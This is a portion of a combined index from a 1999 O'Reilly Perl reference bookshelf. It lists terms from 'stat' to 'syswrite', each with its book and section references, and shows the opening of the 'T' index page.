Perl in a Nutshell, Chapter 5, Reference: stat
Programming Perl, 3.2.159. stat
Stat module : Programming Perl, 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
state()
DBI module : Perl in a Nutshell, Chapter 12, Reference: state
Frame widget : Perl in a Nutshell, 18.18.1. Toplevel Methods
Mail::POP3Client module : Perl in a Nutshell, Chapter 14, Reference: State
-state option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
state, maintaining (CGI) : Perl in a Nutshell, 10.3. Maintaining State
statement handles (DBI methods) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
statements
Perl in a Nutshell, 4.3. Statements
Programming Perl, 2.6. Statements and Declarations
blocks
(see also blocks)
Learning Perl, 1.5.3. Adding Choices
Learning Perl, 4.1. Statement Blocks
Learning Perl on Win32 Systems, 1.6.3. Adding Choices
Learning Perl on Win32 Systems, 4.1. Statement Blocks
loops : (see loops)
static allocation : Advanced Perl Programming, 1.1. Referring to Existing Variables
static data members
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.4. Managing Class Data
static methods
Advanced Perl Programming, 7.2.5. Class Methods and Attributes
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
static scoping : Perl Cookbook, 10.13. Saving Global Values
static typing hints : Advanced Perl Programming, 20.7. A Peek into the Future
statically linked extensions : Advanced Perl Programming, 19.4. Adding Extensions
Status property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
STDERR
Perl Cookbook, 7.0. Introduction
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl, 10.1. What Is a Filehandle?
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 10.1. What Is a Filehandle?
Perl in a Nutshell, 4.4.3. Global Special Filehandles
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 2.9.5. Global Special Filehandles
Programming Perl, 3.2.38. fileno
Programming Perl, 8.4. Programming with Style
controlling for other programs : Perl Cookbook, 16.9. Controlling the Input, Output, and Error of Another Program
reading from programs : Perl Cookbook, 16.7. Reading STDERR from a Program
StdHash module : Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
STDIN
Perl Cookbook, 7.0. Introduction
Learning Perl, 1.5.2. Asking Questions and Remembering the Result
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl, 6.1. Input from STDIN
Learning Perl, 10.1. What Is a Filehandle?
Learning Perl on Win32 Systems, 1.6.2. Asking Questions and Remembering the Result
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 6.1. Input from STDIN
Learning Perl on Win32 Systems, 10.1. What Is a Filehandle?
Perl in a Nutshell, 4.4.3. Global Special Filehandles
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 1.4. Filehandles
Programming Perl, 2.9.5. Global Special Filehandles
Programming Perl, 3.2.38. fileno
in array context
Learning Perl, A.5. Chapter 6, Basic I/O
Learning Perl, 3.6. <STDIN> as an Array
Learning Perl on Win32 Systems, A.5. Chapter 6, Basic I/O
Learning Perl on Win32 Systems, 3.6. <STDIN> as an Array
of command in backquotes : Learning Perl, 14.2. Using Backquotes
example of
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 2.7. <STDIN> as a Scalar Value
Learning Perl, 6.1. Input from STDIN
Learning Perl, 9.1. The last Statement
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 6.1. Input from STDIN
Learning Perl on Win32 Systems, 9.1. The last Statement
preprocessing input : Perl Cookbook, 16.6. Preprocessing Input
reading from
Learning Perl, 6.1. Input from STDIN
Programming Perl, 3.2.43. getc
as scalar value : Learning Perl, 2.7. <STDIN> as a Scalar Value
as target of a match : Learning Perl, 7.4.1. Selecting a Different Target (the =~ Operator)
testing for interactivity : Perl Cookbook, 15.2. Testing Whether a Program Is Running Interactively
undef return value and : Learning Perl, 2.9. The Undefined Value
stdio library : Perl Cookbook, 7.0. Introduction
STDOUT
Perl Cookbook, 7.0. Introduction
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl, 10.1. What Is a Filehandle?
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 10.1. What Is a Filehandle?
Perl in a Nutshell, 4.4.3. Global Special Filehandles
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 1.4. Filehandles
Programming Perl, 2.9.5. Global Special Filehandles
Programming Perl, 3.2.38. fileno
example of using : Learning Perl, 2.8. Output with print
filtering output : Perl Cookbook, 16.5. Filtering Your Own Output
printing to : Programming Perl, 3.2.110. print
processes open for writing and : Learning Perl, 14.3. Using Processes as Filehandles
testing for interactivity : Perl Cookbook, 15.2. Testing Whether a Program Is Running Interactively
Stein, Lincoln : Learning Perl, 19.1. The CGI.pm Module
stepping through code : Programming Perl, 8.1.1. Debugger Commands
sticky bit : Programming Perl, 8.3.1. Time Efficiency
-sticky option (grid manager) : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
sticky widgets : Perl Cookbook, 19.11. Creating Sticky Widgets
stingy matching : (see non-greedy matching)
stopping : (see terminating)
StopService() (Win32::Service) : Perl in a Nutshell, Chapter 19, Reference: StopService
Stopwatch facility (example) : Advanced Perl Programming, 9.1.1. Example: Stopwatch
stor() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: stor
Storable module
Advanced Perl Programming, 10.2.3. Storable
Perl Cookbook, 11.12. Copying Data Structures
store function
Advanced Perl Programming, 9.1. Tying Scalars
Advanced Perl Programming, 11.2.6. Object Identity
Perl Cookbook, 11.13. Storing Data Structures to Disk
Adaptor::DBI module : Advanced Perl Programming, 11.3.2.1. Storing objects
Adaptor::File module : Advanced Perl Programming, 11.3.1.1. Storing objects
STORE method
Perl Cookbook, 13.15. Creating Magic Variables with tie
Programming Perl, 5.4.1. Tying Scalars
Programming Perl, 5.4.2. Tying Arrays
Programming Perl, 5.4.3. Tying Hashes
stores procedures : Advanced Perl Programming, 10.4.1.6. What DBI does not provide
stou() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: stou
str2time() (HTTP::Date) : Perl in a Nutshell, Chapter 17, Reference: str2time
stream sockets
Perl Cookbook, 17.0. Introduction
Perl Cookbook, 17.11. Forking Servers
streamed data, modules for : Advanced Perl Programming, 10.2. Streamed Data
streams : Advanced Perl Programming, 4.4.2. Iterators and Streams
strftime() : Perl Cookbook, 3.8. Printing a Date
strict() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: strict
strict directive, symbolic references and : Advanced Perl Programming, 1.5. Symbolic References
strict module
Perl in a Nutshell, 8.133. strict
Programming Perl, 2.6.9. Pragmas
Programming Perl, 4.4. Symbolic References
Programming Perl, 7.2.59. strict - Restrict Unsafe Constructs
String::Approx module : Perl Cookbook, 6.13. Approximate Matching
strings
(see also variables)
Advanced Perl Programming, 20.3.1. Scalar Values
Perl Cookbook, 1.0. Introduction
Perl Cookbook, 1.8. Expanding Variables in User Input
Learning Perl, 2.1. What Is Scalar Data?
Learning Perl, 2.3. Strings
Learning Perl on Win32 Systems, 2.1. What Is Scalar Data?
Learning Perl on Win32 Systems, 2.3. Strings
Perl in a Nutshell, 4.2.2. String Interpolation
Programming Perl, 2.3.2.2. String literals
\A anchor (string beginning) : Perl in a Nutshell, 4.6.5. Anchors
abbreviation table : Programming Perl, 7.2.67. Text::Abbrev - Create an Abbreviation Table from a List
accessing substrings : Perl Cookbook, 1.1. Accessing Substrings
automatic conversion to numbers
Learning Perl, 2.4.4. Conversion Between Numbers and Strings
Programming Perl, 3.2.182. unpack
boundary assertions
Programming Perl, 1.7.3. Nailing Things Down
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
breaking : (see $ variables, $: variable)
capitalization of : (see case/capitalization)
character classes : Perl in a Nutshell, 4.6.4. Character Classes
checking if valid numbers : Perl Cookbook, 2.1. Checking Whether a String Is a Valid Number
comparing
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 1.5.6. Comparison Operators
Programming Perl, 6.4.2.2. a2p
concatenating
Learning Perl, 2.4.2. Operators for Strings
Programming Perl, 1.5.2. String Operators
Programming Perl, 2.5.8. Additive Operators
Programming Perl, 8.2.3. Awk Traps
Programming Perl, 8.3.1. Time Efficiency
converting ASCII and values : Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
converting ASCII to/from HTML : Perl Cookbook, 20.4. Converting ASCII to HTML
converting case : (see case/capitalization)
copying and substituting : Perl Cookbook, 6.1. Copying and Substituting Simultaneously
counting characters in : Learning Perl, 15.5. Transliteration
default values for : Perl Cookbook, 1.2. Establishing a Default Value
deleting characters from
Learning Perl, 2.6.3. The chop and chomp Functions
Learning Perl, 15.5. Transliteration
Learning Perl on Win32 Systems, 2.6.3. The chop() and chomp() Functions
Learning Perl on Win32 Systems, 15.5. Transliteration
duplicate words, finding : Perl Cookbook, 6.16. Detecting Duplicate Words
escaping characters : Perl Cookbook, 1.13. Escaping Characters
eval function and : Programming Perl, 8.3.1. Time Efficiency
extracting substrings : Programming Perl, 3.2.162. substr
as filehandles : Advanced Perl Programming, 3.4.4. Strings as Handles
first character of : Programming Perl, 2.9.3. Global Special Variables
formatting : Programming Perl, 3.2.156. sprintf
hard references and : Programming Perl, 4.5.1. Hard References Don't Work as Hash Keys
hash element indices : Perl Cookbook, 5.0. Introduction
hexadecimal : (see hexadecimal numbers)
HTML text substitutions : Perl Cookbook, 20.14. Program: htmlsub
index function : Programming Perl, 3.2.75. index
interpolating functions/expression within : Perl Cookbook, 1.10. Interpolating Functions and Expressions Within Strings
joining : Programming Perl, 3.2.78. join
length of : Learning Perl, 2.3. Strings
literal representation of : Learning Perl, 2.3. Strings
matching letters : Perl Cookbook, 6.2. Matching Letters
matching words : Perl Cookbook, 6.3. Matching Words
numeric operators with : Perl Cookbook, 13.14. Overloading Operators
octal : (see octal characters)
operators
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.11.4. String operator
Programming Perl, 1.5.2. String Operators
Programming Perl, 8.2.1. Universal Blunders
repetition (x) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.11.4. String operator
parsing datetime information in : Perl Cookbook, 3.7. Parsing Dates and Times from Strings
pathnames in : Learning Perl on Win32 Systems, 2.3.2. Double-Quoted Strings
plurals based on numbers : Perl Cookbook, 2.18. Printing Correct Plurals
printing : Programming Perl, 3.2.110. print
processing characters individually : Perl Cookbook, 1.5. Processing a String One Character at a Time
psgrep program (example) : Perl Cookbook, 1.18. Program: psgrep
query strings : Learning Perl, 19.2. Your CGI Program in Context
quoting : Perl in a Nutshell, 4.2.2. String Interpolation
reading from binary files : Perl Cookbook, 8.14. Reading a String from a Binary File
reformatting paragraphs : Perl Cookbook, 1.12. Reformatting Paragraphs
removing leading/trailing spaces : Perl Cookbook, 1.14. Trimming Blanks from the Ends of a String
removing/extracting HTML tags : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
reversing elements of : Perl Cookbook, 1.6. Reversing a String by Word or Character
rindex function : Programming Perl, 3.2.128. rindex
shared string tables/etc/hosts : Advanced Perl Programming, 20.3.3.1. Inside HVs
soundex algorithm : Programming Perl, 7.2.69. Text::Soundex - The Soundex Algorithm Described by Knuth
splitting into substrings : Programming Perl, 3.2.155. split
study function and : Programming Perl, 3.2.160. study
substituting specific words : Perl Cookbook, 1.17. Program: fixstyle
text color, changing : Perl Cookbook, 15.5. Changing Text Color
vec function and : Programming Perl, 3.2.188. vec
\z anchor (string end) : Perl in a Nutshell, 4.6.5. Anchors
\Z anchor (string/line end) : Perl in a Nutshell, 4.6.5. Anchors
strings program (example) : Perl Cookbook, 8.14. Reading a String from a Binary File
stripping whitespace : Perl Cookbook, 1.14. Trimming Blanks from the Ends of a String
StrNum class (example) : Perl Cookbook, 13.14. Overloading Operators
struct declaration (C) : Advanced Perl Programming, 2.1. User-Defined Structures
struct() (Class::Struct) : Perl Cookbook, 13.5. Using Classes as Structs
struct_flock() (lockarea) : Perl Cookbook, 7.22. Program: lockarea
structs, classes as : Perl Cookbook, 13.5. Using Classes as Structs
structure of Perl programs : Perl in a Nutshell, 4.1. Program Structure
structures
Academy Award data (example) : Advanced Perl Programming, 2.4. Pass the Envelope
binary trees : Perl Cookbook, 11.15. Program: Binary Trees
copying : Perl Cookbook, 11.12. Copying Data Structures
magic variables : Advanced Perl Programming, 20.3.6. Magic Variables
nested
Advanced Perl Programming, B.2. Nested Data Structures
Advanced Perl Programming, 1.3. Nested Data Structures
Advanced Perl Programming, 18.3. SWIG Features
opcodes : Advanced Perl Programming, 20.2.2.1. Inside opcodes
Perl value types : Advanced Perl Programming, 20.3. Perl Value Types
PerlInterpreter : Advanced Perl Programming, 20.2.1.1. Multiple interpreters
printing
Advanced Perl Programming, 2.5. Pretty-Printing
Perl Cookbook, 11.11. Printing Data Structures
stacks : Advanced Perl Programming, 20.4. Stacks and Messaging Protocol
storing to disk : Perl Cookbook, 11.13. Storing Data Structures to Disk
SWIG and : Advanced Perl Programming, 18.3. SWIG Features
transparently persistent : Perl Cookbook, 11.14. Transparently Persistent Data Structures
type-checking hints : Advanced Perl Programming, 20.7. A Peek into the Future
user-defined
Advanced Perl Programming, 2.1. User-Defined Structures
Advanced Perl Programming, 2.2. Example: Matrices
StrVal() : Programming Perl, 7.2.48.9. Public functions
stubs : Programming Perl, 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
study()
Perl in a Nutshell, Chapter 5, Reference: study
Programming Perl, 3.2.160. study
style, programming : Programming Perl, 8.4. Programming with Style
sub declarations
Perl Cookbook, 10.0. Introduction
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl, 8.1. Defining a User Function
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 8.1. Defining a User Function
Perl in a Nutshell, Chapter 5, Reference: sub
Perl in a Nutshell, 4.7. Subroutines
Programming Perl, 2.7. Subroutines
Programming Perl, 2.7.3. Prototypes
Programming Perl, 3.2.161. sub
Programming Perl, 4.2.4. The Anonymous Subroutine Composer
examples of
Learning Perl, A.7. Chapter 8, Functions
Learning Perl, 1.5.17. The Final Programs
Learning Perl on Win32 Systems, A.7. Chapter 8, Functions
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
sub_groups() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: sub_groups
subclasses : Perl Cookbook, 13.0. Introduction
determining membership : Perl Cookbook, 13.8. Determining Subclass Membership
inheritance and : Perl Cookbook, 13.12. Solving the Data Inheritance Problem
subject() (Mail::Send) : Perl in a Nutshell, Chapter 14, Reference: subject
subject, sorting mail by (example) : Perl Cookbook, 10.17. Program: Sorting Your Mail
subkeys : (see keys, registry)
submit() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: submit
submit button : Learning Perl, 19.6. Form Generation
submitting HTML forms : Perl Cookbook, 20.2. Automating Form Submission
subroutines
(see also functions)
(see also libraries)
Perl Cookbook, 10.0. Introduction
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl, 8.1. Defining a User Function
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 8.1. Defining a User Function
Perl in a Nutshell, 4.7. Subroutines
Programming Perl, 2.7. Subroutines
Programming Perl, 4.2.4. The Anonymous Subroutine Composer
Programming Perl, 5.3.5. A Method Is Simply a Subroutine
Programming Perl, 7. The Standard Perl Library
aborting with exit : Programming Perl, 3.2.35. exit
access arguments of : Perl Cookbook, 10.1. Accessing Subroutine Arguments
anonymous
Advanced Perl Programming, 3.3.3. Naming Anonymous Subroutines
Advanced Perl Programming, 4.1.2. References to Anonymous Subroutines
arguments : Learning Perl, 8.4. Arguments
autoloading
Programming Perl, 5.1.3. Autoloading
Programming Perl, 5.3.4. A Class Is Simply a Package
BEGIN, compilation and : Advanced Perl Programming, 6.3. Package Initialization and Destruction
built-in, overriding : Perl Cookbook, 12.11. Overriding Built-In Functions
call stacks : Programming Perl, 3.2.10. caller
calling : Advanced Perl Programming, 20.4.1. Calling a Perl Subroutine
closures : Advanced Perl Programming, 4.3. Closures
constructors : (see constructors)
currently running, name of : Perl Cookbook, 10.4. Determining Current Function Name
declaring
Programming Perl, 2.6.7. Global Declarations
Programming Perl, 3.2.161. sub
examples of : Learning Perl, A.7. Chapter 8, Functions
location of subrouting definitions
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl, 8.1. Defining a User Function
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 8.1. Defining a User Function
predeclaring : Programming Perl, 7.2.60. subs - Predeclare Subroutine Names
re-defining : Learning Perl, 8.1. Defining a User Function
delaying loading of : Advanced Perl Programming, 6.7. Autoloading
dispatch tables : Advanced Perl Programming, 4.2.1. Dispatch Table
email sorter (example) : Perl Cookbook, 10.17. Program: Sorting Your Mail
eval function and : Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
exception handling : Perl Cookbook, 10.12. Handling Exceptions
invoking : Learning Perl, 8.2. Invoking a User Function
lack of locals : Learning Perl, 8.1. Defining a User Function
localizing : Perl Cookbook, 10.14. Redefining a Function
modules/packages and : Advanced Perl Programming, 6.1. Basic Package
names for : Programming Perl, 2.3.1. Variables
nesting : Perl Cookbook, 10.16. Nesting Subroutines
passing arrays/hashes to : Advanced Perl Programming, 1.2.1. Passing Arrays and Hashes to Subroutines
passing
Perl Cookbook, 10.5. Passing Arrays and Hashes by Reference
Perl Cookbook, 10.7. Passing by Named Parameter
passing filehandles to : Advanced Perl Programming, 3.4.2. Passing Filehandles to Subroutines
performance and : Programming Perl, 8.3.1. Time Efficiency
private for modules : Perl Cookbook, 12.4. Making Variables Private to a Module
private names for : Advanced Perl Programming, 6.4.1. Enforcing Privacy
private variables : Perl Cookbook, 10.2. Making Variables Private to a Function
prototypes for functions : Perl Cookbook, 10.11. Prototyping Functions
referencing : Advanced Perl Programming, 4.1. Subroutine References
return context, detecting : Perl Cookbook, 10.6. Detecting Return Context
return function : Programming Perl, 3.2.125. return
return values
Learning Perl, 8.3. Return Values
Programming Perl, 4.2.5. Object Constructors
returning by reference : Perl Cookbook, 10.9. Returning More Than One Array or Hash
returning failure : Perl Cookbook, 10.10. Returning Failure
skipping selected : Perl Cookbook, 10.8. Skipping Selected Return Values
saving global values : Perl Cookbook, 10.13. Saving Global Values
scope of variables : Learning Perl, 8.1. Defining a User Function
substituting with goto : Programming Perl, 3.2.71. goto
trapping undefined function calls : Perl Cookbook, 10.15. Trapping Undefined Function Calls with AUTOLOAD
subs module
Perl in a Nutshell, 8.134. subs
Programming Perl, 7.2.60. subs - Predeclare Subroutine Names
subscribe() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: subscribe
subscribed() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: subscribed
subscript reference : Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
subscript separator : (see $ variables, $; variable)
$SUBSCRIPT_SEPARATOR ($;) variable
Perl Cookbook, 9.4. Recognizing Two Names for the Same File
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
subscriptions() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: subscriptions
subscripts : Programming Perl, 8.3.1. Time Efficiency
arrays : Learning Perl, 3.4.2. Array Element Access
references : Learning Perl, 1.5.5. More than One Secret Word
$SUBSEP ($;) variable
Perl Cookbook, 9.4. Recognizing Two Names for the Same File
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
substituting
/e flag with : Advanced Perl Programming, 5.4.1. Expression Evaluation in Substitutions
shells versus Perl : Programming Perl, 8.2.6. Shell Traps
within strings : Perl Cookbook, 6.1. Copying and Substituting Simultaneously
substitution (s///) operator
Learning Perl, 1.5.8. Making It Fair for the Rest
Learning Perl, 7.2. Simple Uses of Regular Expressions
Learning Perl, 7.5. Substitutions
Learning Perl on Win32 Systems, 1.6.8. Making It Fair for the Rest
Learning Perl on Win32 Systems, 7.2. Simple Uses of Regular Expressions
Learning Perl on Win32 Systems, 7.5. Substitutions
Perl in a Nutshell, 4.6. Regular Expressions
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.3.3.4. Interpolative context
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 8.2.1. Universal Blunders
~ operator with : Perl Cookbook, 1.1. Accessing Substrings
options for : Programming Perl, 2.4.2. Pattern-Matching Operators
stripping whitespace with : Perl Cookbook, 1.11. Indenting Here Documents
substr()
Advanced Perl Programming, 5.5.2. Extracting Columns from a File
Perl Cookbook, 1.1. Accessing Substrings
Learning Perl, 15.2. Extracting and Replacing a Substring
Perl in a Nutshell, Chapter 5, Reference: substr
Programming Perl, 3.2.162. substr
Programming Perl, 8.3.1. Time Efficiency
chop function and : Programming Perl, 3.2.14. chop
example of : Learning Perl, A.14. Chapter 15, Other Data Transformation
variable as first argument : Learning Perl, 15.2. Extracting and Replacing a Substring
SubstrHash module : Programming Perl, 7.2.74. Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
substrings : Perl Cookbook, 1.1. Accessing Substrings
finding
(see also backreferences)
(see also strings)
Learning Perl, 15.1. Finding a Substring
subtraction, operator for
(see also additive operators)
Learning Perl, 2.4.1. Operators for Numbers
subtrees, Registry : Learning Perl on Win32 Systems, 16.4.1. The Registry Structure
success code (NNTP) : Perl in a Nutshell, 15.1. The NNTP Protocol
suidperl program : Programming Perl, 8.5. Distribution and Installation
SUPER pseudoclass
Advanced Perl Programming, 7.2.6.1. Overriding base classes
Perl Cookbook, 13.10. Accessing Overridden Methods
Programming Perl, 5.3.6. Method Invocation
superclasses
Advanced Perl Programming, 7.2.6. The Need for Inheritance
Perl Cookbook, 13.0. Introduction
accessing overridden methods : Perl Cookbook, 13.10. Accessing Overridden Methods
inheritance and : Perl Cookbook, 13.12. Solving the Data Inheritance Problem
support for Perl : Learning Perl, Support
supported() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: supported
surface copies : Perl Cookbook, 11.12. Copying Data Structures
surl script : Perl Cookbook, 20.8. Finding Fresh Links
Suspend() (Win32::Process) : Perl in a Nutshell, Chapter 19, Reference: Suspend
SVs (scalar values) : Advanced Perl Programming, 20.3.1. Scalar Values
SWIG tool
Advanced Perl Programming, 2.1. User-Defined Structures
Advanced Perl Programming, 17.1. On Code Generation
Advanced Perl Programming, 18. Extending Perl:A First Course
C header file and : Advanced Perl Programming, 18.1.1. The Extension Process
features of : Advanced Perl Programming, 18.3. SWIG Features
Mandelbrot code example : Advanced Perl Programming, 18.2.1. Fractals Using SWIG
typemaps : Advanced Perl Programming, 20.5.7. SWIG Typemaps
XS tool versus : Advanced Perl Programming, 18.1.2. SWIG or XS?
XSUBs and : Advanced Perl Programming, 20.4.2. The Called Side: Hand-Coding an XSUB
switch statement
Perl Cookbook, 19.8. Redirecting to a Different Location
Perl Cookbook, 19.12. Writing a Multiscreen CGI Script
Programming Perl, 2.6.5. Bare Blocks and Case Structures
Programming Perl, 8.2.4. C Traps
Programming Perl, 8.3.1. Time Efficiency
switches, Perl command-line
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.1. Command Processing
sybperl package : Perl in a Nutshell, 12.2. Design of DBI
Symbol module
Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
Perl in a Nutshell, 8.135. Symbol
Programming Perl, 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
symbol tables
Advanced Perl Programming, 3.1. Perl Variables, Symbol Table, and Scoping
Advanced Perl Programming, 20.2.1. Perl Objects
Advanced Perl Programming, 20.3.4. Glob Values and Symbol Tables
Perl in a Nutshell, 7.1. Namespaces and Packages
Programming Perl, 2.7.1. Passing Symbol Table Entries (Typeglobs)
Programming Perl, 5.1.1. Symbol Tables
accessing : Advanced Perl Programming, 6.8. Accessing the Symbol Table
aliasing entries in : Programming Perl, 2.3.6. Typeglobs and Filehandles
modules/packages and : Advanced Perl Programming, 6.1.1. Packages and Variables
Symbol::qualify() : Perl Cookbook, 12.5. Determining the Caller's Package
symbolic links
Perl Cookbook, 9.0. Introduction
Learning Perl, 13.3. Creating Alternate Names for a File: Linking
Learning Perl, 13.3.1. About Hard and Soft Links
Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
Programming Perl, 3.2.163. symlink
duplicating directory trees : Perl Cookbook, 9.11. Program: symirror
GetOptions() and : Programming Perl, 7.2.35.1. Linkage specification
getting filenames from : Programming Perl, 3.2.118. readlink
lstat command and : Programming Perl, 3.2.90. lstat
to packages : Perl Cookbook, 12.13. Referring to Packages Indirectly
symbolic references
Advanced Perl Programming, B.6. Dynamic Behavior
Advanced Perl Programming, 1.5. Symbolic References
Advanced Perl Programming, 1.6.1. Reference Counts
Advanced Perl Programming, 4.1.4. Symbolic References
Advanced Perl Programming, 6.1.2. Symbolic References
Programming Perl, 4.1. What Is a Reference?
Programming Perl, 4.4. Symbolic References
symbols, importing : Advanced Perl Programming, 6.5. Importing Symbols
symbols, preventing exportation of : Programming Perl, 7.2.15.3. Managing unknown symbols
Symdump module : Advanced Perl Programming, 20.1. Reading the Source
symirror program (example) : Perl Cookbook, 9.11. Program: symirror
symlink()
Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
Learning Perl on Win32 Systems, 13. File and Directory Manipulation
Perl in a Nutshell, Chapter 5, Reference: symlink
Programming Perl, 3.2.163. symlink
compilation failure and : Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
example of : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
symlinks : (see symbolic links)
symmetric differences of lists : Perl Cookbook, 4.8. Computing Union, Intersection, or Difference of Unique Lists
sync()
Perl in a Nutshell, Chapter 14, Reference: sync
Programming Perl, 7.2.8.5. Using the Berkeley DB interface directly
synchronicity : Advanced Perl Programming, 13.2. Remote Procedure Calls (RPC)
syntax tree : Advanced Perl Programming, 17.2. Jeeves Example
syntax, checking : Programming Perl, 6.1.2. Switches
Sys::Hostname module
Perl Cookbook, 17.8. Finding Your Own Name and Address
Perl in a Nutshell, 8.136. Sys::Hostname
Programming Perl, 7.2.62. Sys::Hostname - Try Every Conceivable Way to Get Hostname
Sys::Syslog module
Perl Cookbook, 17.17. Program: backsniff
Perl in a Nutshell, 8.137. Sys::Syslog
Programming Perl, 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
syscall()
Perl Cookbook, 3.9. High-Resolution Timers
Perl in a Nutshell, Chapter 5, Reference: syscall
Programming Perl, 3.2.5. alarm
Programming Perl, 3.2.164. syscall
syslog() : Programming Perl, 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
sysopen()
Perl Cookbook, 7.1. Opening a File
Learning Perl, 19.8.2. Objects in CGI.pm
Perl in a Nutshell, Chapter 5, Reference: sysopen
Programming Perl, 3.2.102. open
Programming Perl, 3.2.165. sysopen
strange filenames with : Perl Cookbook, 7.2. Opening Files with Unusual Filenames
sysread()
Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
Advanced Perl Programming, 12.3.2.1. Blocking looms again
Advanced Perl Programming, 12.5. IO Objects and Filehandles
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: sysread
Programming Perl, 3.2.166. sysread
sysseek()
Perl Cookbook, 8.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: sysseek
system()
Perl Cookbook, 16.2. Running Another Program
Perl Cookbook, 19.6. Executing Commands Without Shell Escapes
Learning Perl, 14.1. Using system and exec
Perl in a Nutshell, Chapter 5, Reference: system
Programming Perl, 3.2.167. system
Programming Perl, 8.3.1. Time Efficiency
composed of fork and exec : Learning Perl, 14.4. Using fork
example of : Learning Perl, A.13. Chapter 14, Process Management
list of arguments to : Learning Perl, 14.1. Using system and exec
PATH : Learning Perl, 14.1. Using system and exec
system calls : Programming Perl, 3.2.164. syscall
performance and : Programming Perl, 8.3.1. Time Efficiency
restarting : Programming Perl, 6.2.1. Signals
system CPU time : (see time)
$SYSTEM_FD_MAX ($^F) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
System V IPC
Perl Cookbook, 16.12. Sharing Variables in Different Processes
Perl in a Nutshell, 5.1. Perl Functions by Category
Programming Perl, 6.2.3. System V IPC
syswrite()
Advanced Perl Programming, 12.2.3. Bidirectional Communications
Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
Advanced Perl Programming, 12.3.2.1. Blocking looms again
Advanced Perl Programming, 12.5. IO Objects and Filehandles
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: syswrite
Programming Perl, 3.2.168. syswrite

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

t command (debugger)
Perl in a Nutshell, Chapter 6, Reference: t
Programming Perl, 8.1.1. Debugger Commands
T command (debugger)
